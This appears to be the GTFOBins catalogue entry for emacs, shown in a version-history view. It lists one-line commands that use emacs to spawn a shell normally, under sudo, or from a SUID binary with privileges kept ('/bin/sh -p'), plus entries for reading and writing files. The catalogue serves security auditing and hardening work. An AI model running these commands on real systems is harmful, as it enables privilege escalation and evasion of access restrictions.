GTFOBins.github.io/_gtfobins/emacs.md

17 lines
365 B
Markdown
Raw Normal View History

2018-05-21 19:14:41 +00:00
---
functions:
2018-05-25 13:30:02 +00:00
execute-interactive:
2018-05-21 19:14:41 +00:00
- code: emacs -Q -nw --eval '(term "/bin/sh")'
sudo-enabled:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
file-read:
- code: |
emacs file_to_read
file-write:
- code: |
emacs file_to_write
C-x C-s
2018-05-24 23:10:39 +00:00
---